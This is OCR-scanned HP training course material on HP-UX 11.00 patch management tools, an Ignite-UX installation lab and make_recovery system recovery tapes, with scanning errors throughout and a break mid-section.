Active Pat ch

Pat ch Descri ption

PHCO_12555 ioinit patch

PHCO 12577 uucp(1l) - fixes nmultiple hop test failure

PHCO 13205 dd(1) patch for bl ock/unbl ock conversion

e To list all the superseded patches on the system

# show_patches -s

Super seded Pat ch
Pat ch Descri ption
PHCO 13363 PCSI X: sh patch
PHCO 13753 HP- UX Patch Tool s and Wite Paper
PHCO 14084 csh(1) patch
Student Notes

Since either active or superseded patches can be committed, it is not always clear using the
sW i st command whether a committed patch is active or superseded.

The show_pat ches tool displays all the active patches (committed and non-committed) or
the all the superseded patches (committed and non-committed). The output from the
show_pat ches command is in a easy-to-read formatted display.

The above slide shows two examples of the show_pat ches command: one example
displaying all the active patches (- a option) and one example displaying all the superseded
patches (- s option).
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16-11. SLIDE: The check_ pat ches Tool

— The check_pat ches Tool

e The check_pat ches utility checks for common problems
and issues related to patches on HP-UX 11.00. The utility
checks for:

patches missing the SD-UX patch attributes (- i option)

patch object modules missing from archive libraries (- 0 opt)

patch filesets not in the configured state (- S option)

patch filesets that fail sweri fy (- v option)

e By default, check _pat ches performs all four checks.

Student Notes

The check_pat ches tool verifies the integrity of the SD components related to patch
management. The tool checks for patches missing the SD patch attributes, patch routines

missing from archive libraries, patch filesets not in the configured state, and patch filesets
that fail swerify.

Example

The command below checks for the existence of the i s_pat ch attribute. If the attribute

does not exist, or if the value of the attribute is FALSE, then SD does NOT treat the software
as a patch, which can lead to unexpected results.

# check_patches —i

Obtai ning informati on on install ed patches

Checking for invalid patches

RESULT: Problenms found, review /tnp/check patches.report for
detail s.
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# more / tnp/ check_patches. report

ERROR: One or nore HP-UX 11.00 patches were not installed with
the SD patch attributes. This usually occurs when HP-UX
11. 00 patches are handl ed by the swcopy conmmand on an
HP- UX 10. X system which does not recogni ze these
attributes. The absence of these patch attributes wll
cause SD on HP-ux 11.00 to treat these patches
i nappropriately.

The following HP-UX 11.00 patches are missing the SD
patch attri bute:

PHKL_ 13203 JFS I node Can Be Left in Inconsistent
State

PHKL 15940 WVxFS add vx_dmattr _tbl _init() function
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16-12. SLIDE: The r enove_pat ches Tool

— Therenove_ pat ches Tool

e The r enove_pat ches tool provides a mechanism for removing
patches according to specific category tags.

— Ifno category tags are specified, all patches except those
with either the category tag critical or hardware_enablement
will be removed.

— To list all software categories

# swist -1 category

— To remove software in the category called t ri al _pat ch:

# renove_patches trial _patch

Student Notes

The r enove_pat ches tool allows patches to be removed based upon a specific category.
When the category is specified, only patches with that category are removed.

If the specified category results in a patch being removed that also has a category of critical
or hardware enablement, then the user will be notified and prompted as to whether to
continue with the removal.

When using r enove_pat ches, it is recommend that the preview option (- p option) be used
first to verify the patches to be removed are the ones expected to be removed.
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16-13. LAB: Troubleshooting an HP-UX 11.00 System

Directions

Your instructor will tell you where you can ftp the lab files from. The lab makes use of
four depots installed under the /depot directory. The depots are organized as follows:

/depot
]
[ | | |
/patch_1 patch_1_2 patch_1_2_3 patch_1_2_3 4
| | | | | | | | | | |
FooProd FooProd FooProd FooProd
PHCO_1000 PHCO_1000 PHCO_1000 PHCO_1000
PHCO_1234 PHCO_1234 PHCO_1234
PHCO_11111 PHCO_11111
PHCO_11112
PHSS_5555

Automatic Patch Selection

Demonstrate the aut osel ect _pat ch feature that automatically selects all patches for an
existing product. Patch must be in same depot as the product.

1. Install the FooPr od product from the pat ch_1 directory.
# swinstall -s /depot/patch_1 FooProd

Note the output from the “Analysis Phase”. The patch PHCO 1000 was automatically
selected for the FOoPr od product.

2. List all product “not contained in a bundle.”
# swi st

The product and the patch should be listed.

3. List the files that were patched by the PHCO_ 1000 patch:
# swist -1 file PHCO 1000
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There should be a file called / usr/ bi n/ f oo.

4. Display the contents of the patched file, / usr/ bi n/ f oo:
# nore /usr/bin/foo
Note the last line indicating the product has been patched by PHCO_1000.

5. The “save” directory is the location of the original file, prior to being patched. List
# 11 /var/adm sw save

Note the name of the PHCO_1000 patch. Under this directory are copies of the original
files prior to the patch being installed.

6. Display the contents of the original file.
# nore /var/adn sw save/ PHCO 1000/ FOO-M N usr/ bi n/ f oo

7. Verify this file is restored on removal of the patch.

# sw enove PHCO 1000
# nmore /usr/bin/foo
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Patch Selection of Most Current Patch

Demonstrate that if two patches exist in a depot for the same product, then the “most
current” patch is selected.

8. Reinstall the FooProd product from a directory containing two patches; patch_1234
supersedes patch_1000.

# swinstall -s /depot/patch_1 2 -x reinstall=true FooProd

Note the most current patch is applied.

9. Verify the most current patch was applied:

# swi st
# nore /usr/bin/foo
# 11 [/var/adm sw save

Reinstalling Product with Most Recent Patch

Demonstrate if the product is reinstalled and a more current patch exists, then the more
current patch (in this case PHCO 11111) will supersede the existing patch (PHCO 1234).

10. Reinstall the FOoPr od product with a more current patch. Do NOT delete the current
patch already installed.

# swinstall -s /depot/patch 1 2 3 -x reinstall=true FooProd

11. Verify the old patch and product were removed by the new installation.

# swi st
# nmore /usr/bin/foo
# 11 [/var/adm sw save
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Apply a New patch without Removing the First Patch

12. Install another patch (PHCO 11112) without removing any existing patches. This new
patch has a dependency patch. Verify the previously patched files are saved, and the
dependency patch (PHSS 5555) is loaded with the new patch.

# swinstall -s /depot/patch 1 2 3 4 PHCO 11112

13. Verify the new patch was installed without removing the existing patch.

# swi st
# nore /usr/bin/foo
# 11 [/var/adm sw save

List Installed Patches with Supersede Attribute

14. List which patches that the current patches supersedes.
# swist -1 file -a supersedes PHCO 11112

Attempt to Remove a Patch Needed for Rollback

15. The FooPr od product contains two applied patches. PHCO 11111 was applied first, and
PHCO 11112 was applied second. Try to remove patch PHCO 11111
# swenove PHCO 11111

This should fail, since removing a patch needed for rollback is an “unsupported”
operation.
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Verify Patch Rollback

16.

17.

18.

Remove the PHCO 11112 patch. Verify the files roll back to the patch PHCO 11111
state.

# swenove PHCO 11112
# swi st

# nmore /usr/bin/foo

# 1l /var/adnl sw save

Remove the PHCO 11111 patch. Verify the files roll back to the original state.

# swenove PHCO 11111
# swi st

# nmore /usr/bin/foo

# Il /var/adnl sw save

Remove the FooPr od product. Verify all related patches are also removed.

# swrenove FooProd

# swi st

# nmore /usr/bin/foo
# Il /var/adnl sw save

Test Applying Patches to Existing Products

19.

Install the FooPr od product. Specifically indicate NOT to install patches at this time.
# swinstall -x autosel ect patches=fal se -s /depot/patch_1 FooProd

Verify only the product was installed:

http://leducation.hp.com 16-21 H3045S C.00

00 2000 Hewlett-Packard Company



Module 16
Patch Management at HP-UX 11.00

# swi st

20. Install patches to all existing, applicable products:
# swinstall -x patch_match_target=true -s /depot/patch_1 2 3 4
Verify the most current patch was installed:
# swi st

Test Loading an Old Patch

21. Try to load a patch that has been “superseded” by an already loaded patch:
# swinstall -s /depot/patch 1 2 PHCO 1234
This should fail. Review log file for specific details:
# tail -50 /var/adnl sw swagent.log | nore

22. Remove the FOoPr od product. Verify all related patches are also removed.

# sw enove FooProd

# swi st

# nore /usr/bin/foo
# Il /var/adm sw save
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Module 17 — Introduction to Ignite-UX

Objectives
Upon completion of this module, you will be able to:

e Compare Ignite-UX and SD-UX.
* Describe the Ignite-UX boot interface.
¢ Understand the usage of the Ignite-UX tool set.

¢ Perform a cold-installation using Ignite-UX.
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17-1. SLIDE: What Is Ignite-UX?

~ What Is Ignite-UX?

/ h =
System

Student Notes

Ignite-UX is an HP product designed to do installations of HP-UX systems. Ignite-UX is a
client/server application that allows for multiple installations from a single server system.
Ignite-UX provides functionality for the following software installation tasks:

¢ Initial cold installation
¢ System re-deployment
e System Recovery

* Image creation, Golden Image

Cold Installation

Whether you chose to setup an Ignite-UX server for client installation, or you cold-install
from a local CD-ROM, you will be using the Ignite-UX process. One of the big differences
between the previous cold-install and the Ignite-UX install is the use of the set _par ns
procedure. With Ignite-UX| you fill in all of the set _par ns parameters before you install the
system,; after the install, the system is ready for network usage.
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System Redeployment

With Ignite-UX you have very few requirements for system re-deployment, depending upon
how you chose to install. With install-push from an Ignite-UX server, the client system must
be up and running at least HP-UX 9.X and be on the network, and have NF'S client software
enabled. The process if install-push is often referred to as paving a system.

System Recovery

There has long been a need for a consistent system recovery tool across all of the HP-UX
systems. With Ignite-UX comes a set of tools that allow you to create a system recovery boot
tape. This tape should be created for each system that you would like to perform a recovery
for. The recovery tape can provide either a minimum or a full recovery for a root volume
group. The recovery tape is essentially an image of your system that is boot-installable.

The Golden Image

Many system administrators have the need to deploy several systems using the same
installation image. This image may include the OS, applications, configurations, and patches.
Once a prototype of the desired image is constructed, it can become the master or Gol den

| mage, for all of the other systems. The Gol den | nage is a system archive, less the host
specific parameters.
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17-2. SLIDE: Usage Model for Ignite-UX

~ Usage Model for Ignite-UX

Ignite-UX Server
Target (client) system

4 h |
Push Install > . ‘* ‘ {)

IGNITE UX

]
I

s

Pull/Cold Install

Student Notes

Ignite-UX for Installation

Several different Installations models are possible with Ignite-UX. The most common models
include:

¢ (Cold installation from local medium
— HP-UX core CD-ROM

— System-recovery-boot-tape
— Golden-Image from tape

¢ (Cold installation over the network (including boot)
— Pull/pull using interface on the target system

— Push using the interface on the server system
— Re-deployment using the interface on the server system
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Cold Installation from Local Medium

The most basic use of Ignite-UX is for cold installation of the local system from a local
device. The HP-UX core medium is actually an Ignite-UX boot/install medium. Everything
needed to install HP-UX 11.00 is on a single CD-ROM disk. The depots on that disk are
readable by Ignite-UX as well as SD-UX.

The tools that allow you to create the system-recovery-boot-tape are not on the HP-UX core
media, but are on the HP-UX Applications Media. You will need to load from the additional
media if you would like to have the tools to build an Ignite-UX server as well as the tools to
create various kinds of images for system recovery or installation.

Cold Installation over the Network

Ignite-UX is an application product that allows you to configure an Ignite-UX server. From
this server you will be able to Ignite client systems. You will able to install or re-deploy the
systems using the server. Installation can be pulled from the client when booting from the
Ignite-UX server, and the interface will run locally on the client system.

The system administrator for the Ignite-UX server can choose to push an installation to a
client. The process of pushing an install does not require any interaction from the target
(client) so long as all of the necessary parameters are specified on the server, and the
installation interface is run on the server. The push installation will require the root
password for the client system in order to perform an installation.
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17-3. SLIDE: Ignite-UX Server Setup

~ Ignite-UX Server Setup

— T
k—’_/

/var/opt/ignite/l NDEX

<Depot_configuration_filename #1> p
.-+k-<Depot_configuration_filename #2>

i Depot
L A description/
configuration
information

0
|

Remote Server

—_—————

Depot files

P

Student Notes

The above slide shows the internal files used to manage an Ignite-UX server configuration.
The three main components of the Ignite-UX server are:

Depot Files:

Depot Description File:

Ignite INDEX File:

H3045S C.00

The depot files contain the actual files to be loaded and/or
installed on the client systems. These are standard Ignite-UX
depots (like those created with the swcopy command).

Each depot has a “depot description file” that describes the
content of the depot. The depot description file contains all the
information about the depot, including where the depot is
located. Note that the depot can be located locally or remotely.

Because there are many depots, and therefore many depot
description files, a file is needed to keep tract of the location of
the different depot description files. The file which does this is
the Ignite-UX INDEX file, located at / var / opt /i gni t e/ | NDEX.
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17-4. SLIDE: Ignite-UX Main Menu

Ignite-UX Main Window
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Student Notes

To start Ignite-UX, enter ignite in a GUI terminal window (note that Ignite-UX only runs in a
GUI interface):

# ignite

Initially the “Installation Clients” window will be blank. As clients begin installing from the
Ignite-UX server, an icon will appear for each client in the “Installation Clients” window.

From this window, it becomes easy for a system administrator to monitor all the installations
as they occur in parallel. If an installation experiences an error, the icon representing that
system will turn red, notifying the administrator of an error on that system.

In addition, each icon contains a vertical bar graph indicating the percentage of the
installation that has completed.
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17-5. SLIDE: Ignite-UX Tools Overview

~ Ignite-UX Tools Overview

|| Server Commands ||

|| Management Tools ||

eignite emake_recovery
o?dd_release emake_net_recovery
einstl_adm scheck_recovery
emake_depots emake_medialif
-make_copﬁg ecopy_boot_tape
emanage_index emake_sys_image

" Client Commands "

eprint_manifest
*bootsys

Student Notes

The breakdown of the tools for Ignite-UX into categories is not as straightforward as it may
seem. In some cases tools can be installed on each of the clients and servers that are part of
an Ignite-UX domain.

Server Commands

The following is a summary of the commands that usually reside exclusively on the server.
The commands can be installed on clients but they deal with the creation and management of
the sources to be used for installations. This listing is designed to give you a overview of the
components of the Ignite-UX server.

Ignite-UX Component Description

/fopt/ignite/bin Directory where most of the Ignite-UX commands reside
ignite Server command to start the graphic user interface
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add_rel ease Interactive tool to copy software from a SD-UX depot to an
Ignite-UX depot, and configure the server to use it; calls
meke_depot s, make_confi g and nanage_i ndex

instl _adm Maintains the Ignite-UX configuration files on the server
make_depots Builds Ignite-UX depots

make config Builds Ignite-UX configuration files for the SD-UX depots
manage_i ndex Manage the | NDEX file which allows access to various

configurations during the installation process

The add_r el ease Tool

add_r el ease is one of the primary tools used to build an Ignite-UX server. It essentially
replaces the use of swcopy for the Ignite-UX server. Below is an example of using the
add_r el ease command to create a depot on the server.

(-a bot h allows for configuration of both 700 and 800 series systems)

Example:
# add_rel ease -a both

Wel cone to Ignite-UX Add Rel ease. This tool allows you to add
depot software to your lIgnite-UX server. Add Release will also
meke the necessary adjustnments to your configuration files to
make this software available for installation.

Qperating in End user node.

Press Enter to continue, g to quit:

Pl ease choose the OS revision of the software you want to | oad:

1 HP-UX CS B. 11.00

2 HP-UX OS B.10. 30

3 HP-UX GS B. 10. 20

4 HP-UX CS B. 10. 10 Notice the versions that

5 HP-UX OS B. 10. 01 are supported for Ignite-UX

Enter your selection, or press Enter to | oad selection 1. 1

Pl ease specify the type of device you will be using to | oad
the software nedi a:
1. Tape drive (default)
2. cdrom
3. SD disc depot
Pl ease enter your selection or press Enter to use selection 1: 3

Pl ease enter the SD depot you wish to read (that is: hostnane:/path)
star2:/var/opt/starburst/depots/Rel B.11.00/core

These rel eases are avail able to | oad:
num rel ease dat e arch
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1 HP- UX OS B. 11. 00 19971202 bot h
2 HP- UX 11. 00 applications 19971202 bot h
3 11. 00 Online Diagnostics 19971202 bot h
4 HP- UX 11.00 patch bundl e 19971202 bot h

Enter the nunber of the release you wish to | oad.
Press Enter without specifying a nunber for selection 1. 1

Sel ect ed rel ease:
rel ease date arch

HP- UX OS B. 11. 00 19971202 bot h
Press Enter to continue:
Doi ng di sk space anal ysis...
Di sk space anal ysis conpl ete.
Di sk space anal ysis has found you have enough
space to install the selected rel ease.
Press Enter to continue:
medi a to | oad:
B. 11. 00 Core OS
Sel ect the action to take for this nedia:
1. load nmedia from
star2:/var/opt/starburst/depots/Rel _B.11.00/core
2. change source device and | oad nedi a
3. skip this nedia
4. quit add_rel ease

Pl ease enter your selection.
Press Enter without a selection to choose sel ection 1:

Some cdrons and depots are protected. To access them you
need a codeword and custoner id.

I's your source nedia protected? [y or n][n] n

>>>> Press return when the nedia is | oaded and ready to read.
This nmedia will take approximately 1:30 (hh:mm to | oad.
Starting nedia load at: Mn Jun 15 17:25:29 1998

Medi a: 11.00 Core OS

Executing: /opt/ignitel/bin/ ke depots -i -r B.11.00 -s
star2:/var/opt/starburst/depots/Rel B.11.00/core

nmedia | oad conplete at: Mn Jun 15 17:54:56 1998
Press Enter to continue:

Executing command: /opt/ignitel/bin/make config -r B.11.00
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NOTE: meke_config can sonetines take a long tinme to conplete. Please
be patient!

Do you wish to nake the rel ease: B.11.00
the default release to load? [y or n]J[y] V¥

Executing: /opt/ignitel/bin/manage_i ndex -e -c "HP-UX B.11. 00 Defaul t"
to set the default release to: B.11.00.

Client Commands

The Ignite-UX client system may have the Ignite-UX products loaded on it, but will not have
any depots or archives for installations. In the / opt/i gni t e/ bi n directory you will find all
of the same commands as an Ignite server, but not all are used. The commands listed below
can be used on all Ignite-UX clients, as well as servers.

Ignite_UX Component Description
/opt/ignite/bin Directory where most of the Ignite-UX commands reside
print_mani f est Prints to st dout areport showing hardware software and

configuration information for the system. An ASCII file
containing this data is also store in the directory:
/var/opt/ignite/local/manifest,file:

mani f est . i nfo.

boot sys Invoked by the server on the client; will reboot and install the
client system using Ignite-UX; used by the server to push the
install to the client

Management Tools

The management tools are mostly concerned with system recovery, and the creation of a
bootable system image. The next section of this course will cover this topic in detail.
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17-6. SLIDE: Ignite-UX Client Configuration

— Ignite-UX Client Configuration

‘4‘ Jopt/ignite/bin/itool (grace) | 5 ‘J

/_LB-ESH:

|

Suftware| Systeml File System | Advam:ed|

[Defautlt 1o i Release
Confidurations: /|Defanlt Sle Release =1 I Description.. .

Defan 1028 Felease
Te Onacle Server
Software
/E;@ments:

CDE HP-UX Environment 4‘ (HE-UX B. (0. 18
S stem

‘HP,zzmA, 2/0/1.6.0, 633 MH
Fyde System: Whole disk (not L) with HES u\
|
Root Swap (ME). .. 12& | Physical Memory (RAM) = 64 MB
Languages. .. English: Keyhoards. ..
Additional ...

File S stem

Advan ed

Show Summary. .. Save bs... | Reset Gonfiguration |

il
&
=)
o+
w
b

\_\ Gol Cancel Help

Student Notes

Installing the Client

The installation process that was discussed on the prior slide indicated that the Ignite-UX
cold install process offers a couple of choices for how a client will get Ignited. Whether you
choose to run the interface on the client or the server, or whether you boot from the HP-UX
core media, you will be presented with essentially the same choices. In each case you're
performing a cold install of a client, the only thing in question is where you are, and what the
state of the client is. The configuration process for a client is essentially the same in each
case; the difference is the interface you'll see. If you have a server setup, and you have an
X-Windows environment, you can run the GUI (graphical user interface) on the server. If you
want to run the interface on the client, you will be presented with a TUI (terminal user
interface).

The slide above and the following two slides introduce the GUI, and highlights the tabs that
you'll need to use to completely configure the client, and ensure that no client interaction is
needed. You should proceed through the Basi ¢, Sof t war e, System Fi | e Syst emand
Advanced tabs, before you select the GO!
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NOTE: Failure to pre-configure all of the selections under the tabs will result
in the need to access the client system locally to complete the
installation process.

In some cases there are defaults for the choices in the menus, in other cases you must make a
choice to set the default. A common oversight is the selection of Keyboar d.

Boot Interface

The boot interface for Ignite-UX is very similar to what previously was called cold-install for
HP-UX. Below is an example of the boot-install interface that will be used on the client
system, if you cold install the system using the pull method. Boot your system from the
installation medium to get to this interface.

Wel come To Ignite-UX

Use the <tab> key to navigate between fields, and the arrow keys
within fields. Use the <return/enter> key to select an item

Use the <return> or <space-bar> to pop-up a choices list. If the
nenus are not clear, select the "Help" itemfor nore information.

Har dwar e Sunmary: System Model : 9000/ 811/ D210
o Fomm - Fo - + [ Scan Again ]
| Disks: 2 (2.0GB) | Floppies: O | LAN Cards: 1 [
| CD 1 | Tapes: 1 | Menory: 256 Mo |
| Graphics Ports: 0 | 10 Buses: 3 | | [ HWDetails]
e o e e e e e e o e e e e e o m o +

[ Install HP-UX ]

[ Run a Recovery Shell ]

[ Advanced Opti ons ]

[ Reboot ] [ Help ]

From this interface you will select the Install HP-UX button. That will allow you to get the
choice of interface that you would like to use for the rest of this session.

User Interface and Media Options

This screen lets you pick fromoptions that will determine if an
Ignite-UX server is used, and your user interface preference.

User Interface Options:

[ ] Quided Installation (recomended for basic installs)

[ * ] Advanced Installation(recomended for disk and fil esystem managenent)
[ ] Renote graphical interface running on the Ignite-UX server

Hnt: |If you need to nake LVM size changes, or want to set the

final networking paraneters during the install, you wll
need to use the Advanced node (or renote graphical interface).

[ &K ] [ Cancel ] [ Help ]
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If you choose the Advanced Installation option you will need to be prepared to configure the
network interface as well as all of the parameters for the Basi c¢/Sof t war e/Syst em(Fi | e

Syst emtabs. If you have a DHCP server on your network, you may not need to configure
the network parameters.

Don't forget to fill in all of the dialog boxes, or you may have to do it during the system
reboot that follows the installation.
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17-7. SLIDE: Ignite-UX Client Configuration — Software and
System Menus

~ Ignite-UX Client Configuration - Software
and System Menus o

T e

Student Notes

Installing the Client

Software Menu By default, only the products in the core HP-UX software bundle will be
installed during installation. The Software Menu allows for the selection
of additional software products beyond the core OS software.

Examples of other software products that can be selected include
additional Hardware drivers (e.g. FDDI or token ring drivers), the glance
product, HP Openview products, etc.

System Menu The System Menu contains the parameters needed to configure and boot
the system on the network for the first time. Prior to Ignite-UX, these
parameters had been initialized with the set _par ns command.

Parameter defined in the System menu include the system name, the IP
address, the subnet mask, the date and time, and the root password.
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17-8. SLIDE: Ignite-UX Client Configuration — File System and
Advanced Menus

~ Ignite-UX Client Configuration - File
System and Advanced Menus T

Student Notes

Installing the Client

File System Menu The File System Menu allows the configuration of the vg00 volume
group to be customized during installation.

Examples of possible customizations include adding a second disk to
the vg00 volume group, adding additional logical volumes, changing
the file system type for a logical volume, changing the size of a file
system, etc.

Advanced Menu The Advanced Menu allows for customized scripts to be executed once
the installation has completed. Examples of customized scripts which
could be executed are:

e A script to configure a network printer on the system.
* A script to configure a generic user accounts on the system.
e A script to add an NFS mount entry to the / et ¢/ f st ab file.
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17-9. SLIDE: Additional References

Additional References

Ignite-UX Startup Guide for System Administrators
— fromhttp://ww. sof tware. hp. com

Installing HP-UX 11.0 and Updating HP-UX 10.x to 11.0
- B2355-90153
/opt/ignitel/share/ doc
— intro_doc. htnl intro_doc.ps.Z
— rel ease_note
— sysadm htm | sysadm t xt
— user_man. ps.Z
[ opt/ignitel/share/ man

- “man-pages”
H1978S—Ignite-UX

— HP Education course for administrators (3 days)

Student Notes

Please see the above references for more information on Ignite-UX.
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17-10. LAB: HP-UX 11:00 Ignite-UX Installation

Directions

The purpose of this lab is to perform a cold-installation of HP-UX 11.00 using an Ignite server.

Procedure: (many of the necessary steps are outlined in the module materials)

1. Shut down your system.

2. Boot your system using an Ignite-UX server, or CD-ROM if available. You receive the
following menu:

Vel come To Ignite-UX

Use the <tab> key to navigate between fields, and the arrow keys
within fields. Use the <return/enter> key to select an item

Use the <return> or <space-bar> to pop-up a choices list. If the
menus are not clear, select the "Help" itemfor nore information.

Har dwar e Sunmary: System Model : 9000/ 811/ D210
o Fomm - Fomm - + [ Scan Again ]
| Disks: 2 (2.0GB) | Floppies: O | LAN Cards: 1 [
| CD 1 | Tapes: 1 | Menory: 256 Mo |
| Graphics Ports: 0 | 10 Buses: 3 | | [ HWDetails]
e o e e e e e e o e e e e e o m o +

[ Install HP-UX ]

[ Run a Recovery Shell ]

[ Advanced Options ]

[ Reboot ] [ Help 1]

From this interface, select the Install HP-UX button. That will allow you to get the choice
of interface that you would like to use for the rest of this session.

User Interface and Media Options
This screen lets you pick fromoptions that will determine if an

Ignite-UX server is used, and your user interface preference.

User Interface Options:

[ ] Quided Installation (recomended for basic installs)

[ * ] Advanced Installation(recommended for disk and fil esystem managenent)
[ ] Renote graphical interface running on the Ignite-UX server

Hnt: |If you need to nake LVM size changes, or want to set the
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final networking paraneters during the install, you wll
need to use the Advanced node (or renote graphical interface).

[ &K ] [ Cancel ] [ Help ]

3. Configure the system with your choice of system parameters. (Consult with your
instructor if you have any questions about the proper network configuration to use.)

4. Continue with the installation until your system is completely installed.
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Module 18 — System Recovery with Ignite-UX

Objectives
Upon completion of this module, you will be able to:

e Create a “system recovery boot tape” with the nake_r ecovery command.
* C(Create a system recovery archive for a client on the Ignite-UX server.

¢ Describe three different ways to create a system recovery boot tape.
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18-1. SLIDE: System Recovery Choices

~ System Recovery Choices

Install/Core-OS

Y S

System Recovery

A\
Ignite-UX ‘??—3 0-0 S

Recovery Server

Student Notes

Today, you have several choices for recovery from a failed system, as a result of a disk failure.
Your choices include:

* Hot Pluggable disks

* Disk Arrays (Auto-Raid)

* MC/ServiceGuard High Availability Cluster

¢ Installation of a minimum system + Restore from your backups

e System Recovery Boot Tape + Restore from your backups
e Mirror Disk/UX (LVM mirroring) + Hot Spare

All of the choices listed above have their own strengths and weaknesses, as well as costs.
Your choice of recovery will depend upon a number of factors:
*  How well documented are your configurations?

— hardware

— software
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¢ What does your disk infrastructure support for recovery?

— How reliable are your backups?

— How up-to-date are your system backups?

— (Can you re-create your environimment, completely?

— How long can you afford to have your system(s) out of service?

Careful planning and testing is required to successfully restore any system after a failure.

Creation of a System Recovery Boot Tape

In this section we'll focus on the make_r ecover y tool for system recovery. The
make_recovery command is used to create the syst em r ecovery_boot _t ape.

NOTE: make_r ecovery is just one part of a total disaster recovery solution.

Uses for make_r ecovery

The make_r ecovery tool will perform an Ignite-UX installation of your system. Data that is
stored in the archive (created by make_r ecover y) can be used for the following:

¢ Restore a non-bootable system with little or no intervention.

¢ Restore a system in the event of a root disk (volume group) failure.

e Convert file systems in the root volume from hfs to vxf s (logical volumes).

e  Modify the root file system size (logical volume).

¢ Modify the size of primary swap (logical volume).

* (Clone software from one system to another (requires nearly identical hardware).

WARNING: If you interact with the restore process performed by the
make _recovery tape, you will NOT have your system
configuration completely restored!

The option to interact with the install process will be covered in more detail later in this
section.

http://feducation.hp.com 18-3 H3045S C.00
0 2000 Hewlett-Packard Company



Module 18
System Recovery with Ignite-UX

18-2. SLIDE: Core versus Noncore Recovery

Core versus Noncore Recovery

Student Notes

make_recovery is a command provided in the Ignite-UX.MGMT-TOOLS fileset on the HP
Application Media. make_r ecover y will create a bootable, system recovery tape. The
make_recovery tape is actually an Ignite-UX installation tape that will restore your system to
a configured state automatically when used as the boot tape.

The contents of the nake_r ecovery tape are as follows:

¢ Boot Image (HP-UX LIF)
¢ System Configurations
e Archive (root VG, or root disk)

The contents of the archive can be customized. You can control how much, or how little
actually goes onto the tape. Your choices are really three:

¢ Minimum Core-OS
e Full Core-OS
¢ Full Core-OS + User Data
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The type of recovery tape that you create will depend upon what other means you have to
recover your system. For example, if you have a very robust 3" party backup and restore
solution like, HP OmniBack, you may opt for a minimum image and restore the rest of your
data and configurations using OmniBack.

NOTE: make_recovery is designed to allow for a full recovery of the root
volume (volume group), it is not a backup and restore tool.
make_recovery does not allow for a partial restore, but will require a
full installation to read its archive.

When make recovery is executed, the choice of the archive contents depends on the
command options that you choose, and whether you edit some of the archive control files.
These options are discussed on next several pages.

NOTE: The make_r ecovery archive is NOT considered to be a Gol den
I mage. The Gol den | nage is an archive created from a prototype
system using the nake_sys_i nage command. This is out of the scope
of this module.
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18-3. SLIDE: The nake recovery Model

— The make_recovery Model

T
p/
Minimum
System
v

AT
Full

Core
oS

Recovery Boot Tape

Full
Core
0oS

i

[

User Data
- ~—— =

Student Notes

It is very important to understand what will be archived to tape when make_r ecovery is
used. make_recovery will consider the root volume group (or root disk) to be comprised of
Core-OS and Non-Core data. The breakdown is as follows:

Core-0OS Non-Core
[.profile fusr (sonme parts)
/.rhosts [opt (nost parts)
/ dev /[var (nost parts)
letc

/ sbin

/ stand

[usr (partial)
[var (partial)
[ opt / upgr ade

[ opt/dce

When choosing the type of recovery tape to create, you must take into consideration the speed
of the recovery, and how much additional work must be done to restore the rest of the system.
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See the man-page (man 1m make_r ecover y) for a complete list of the files and directories
that are included in the core image.
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18-4. SLIDE: Creation of the Recovery Tape (Minimum Core
Recovery)

— Creation of the Recovery Tape
(Minimum Core Recovery)

a

nake_recovery

Student Notes

The make_r ecovery tool can be invoked with different options, or none at all, to vary the
contents of the archive written to tape. If in your environment you have a means to recover
data very quickly, but need to have an Operating System running to do it, then a minimum
system may be all you need.

To create an archive for a minimum core recovery (only Core-OS) use the command:
make_r ecovery

This will create a bootable minimum system archive tape, written to the default tape device:
/dev/rm/0Om.

NOTE: make_r ecovery requires a non-rewinding DDS tape device. It also
requires that a writeable tape is in the tape drive, even for preview.
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WARNING: You must have a compatible tape drive for the restore operation
it work properly. If you use a DDS2 drive with compression for
make_recovery, you may limit your use of tape drives for
recovery. You may want to consider creating a new device file
with attributes that are available on any device you will want to
use for the restore. This could be done with SAM or nksf.
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18-5. SLIDE: Creation of the Recovery Tape (Full Core Recovery)

— Creation of the Recovery Tape
(Full Core Recovery)

(@__Core OS D

/etc

e /shin

o i
G User Data
a

make_recovery -A

a All Non-Core Files)

e [var
e /opt

a All User Data )
dir /home
product OMNIBACK
product <All Products>

Student Notes

The creation of a full recovery tape for the root volume group will include all of the contents
of VA0, or the root disk(s). The command to create a full recovery tape is:

make recovery -A

This creates a full archive of the root volume group (vg00) on the default tape
device: dev/ rnt/0nmm

The creation of a full recovery tape for the root volume group can be very useful. You must,
however, know what that really means. Recall the prior discussion of Core. It is possible that
some parts of the Core reside outside of the root volume group. It is very common to find
parts of what we consider Core to be in vg01, not vg00. Consider the following example:
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Tvgoo | 7 Tvgor 10N

/ lusr

swap / var

/ st and / appl
/'home / user data
/ opt

/tnp

D

In the configuration above, / usr, which is considered to be part of the core, is outside the
root volume group. In order for nake_r ecovery to perform a full restore, / usr must be re-
created. This will require that all of vgO0O and vg01 must be archived.

To create a full system recovery boot tape:
make_recovery -A

This creates a full archive of vg00, and the volume group that contains / usr . The archive is
written to the default tape device.
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18-6. SLIDE: Customizing the Recovery Archive

= Customizing the Recovery Archive

&) D —
Core OS
* /dev

; e:).c Core OS and
Soin Selected Non-Core

Selected

User Data

fstand 0S Files
/ usr ;
@ .
C) ) 5
Non-Core # vi  /var/opt/ignitel/recovery/ makrec. append
« [var # make_recovery -p [-A]
* /opt # vi [/var/opt/ignite/recovery/arch.include
# make_recovery -r
a All User Data )

dir /home/userl
file <Selected Files>
product <Select Products>

Student Notes

We have seen thus far how to create a minimum and full core recovery tape. What about if you
want to include other items on the tape? There are options to make_r ecovery that allow for
additions to the tape. There are essentially two methods to modify the archive contents:

*  Modify the makr ec. append before make_recovery
* Modify the ar ch. i ncl ude after a preview of make_r ecovery

Modification of nakr ec. append

The file: / var/ opt /i gni t e/ makr ec. append can be modified before the execution of
make_r ecovery to alter the contents of the archive image. The additions that you put into
makr ec. append are limited to the scope of the archived volume group(s). In other words,
you may only include items that are part of a volume group that is already included in the
archive, such as vg0O or the volume group containing / usr .

Additions to makr ec. append are most desirable when you are performing a minimum
archive, but require some additions to allow your 3" party backup product to run. You'll then
be able to use that other backup solution to restore the rest of your data.
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Contents of makr ec. append

Within makr ec. append you will find two sections that may be used to add objects to the
archive:

User Core OS - adds items to the log used by check _r ecover y*
User Data - does not add items to the log used by check _recover y*

*check_recovery is discussed later in this module

Entries in the makr ec. append can be:

pr oduct SD-UX product name

dir Directory that is in the root volume group
file File that is in the root volume group
Example:

# Sanpl e nakrec. append file
# location: /var/opt/ignitel/recovery/ nmakrec. append

** User Core CS **
dir /scripts
dir /custom

** User Data **
dir /home/root

Explanation:

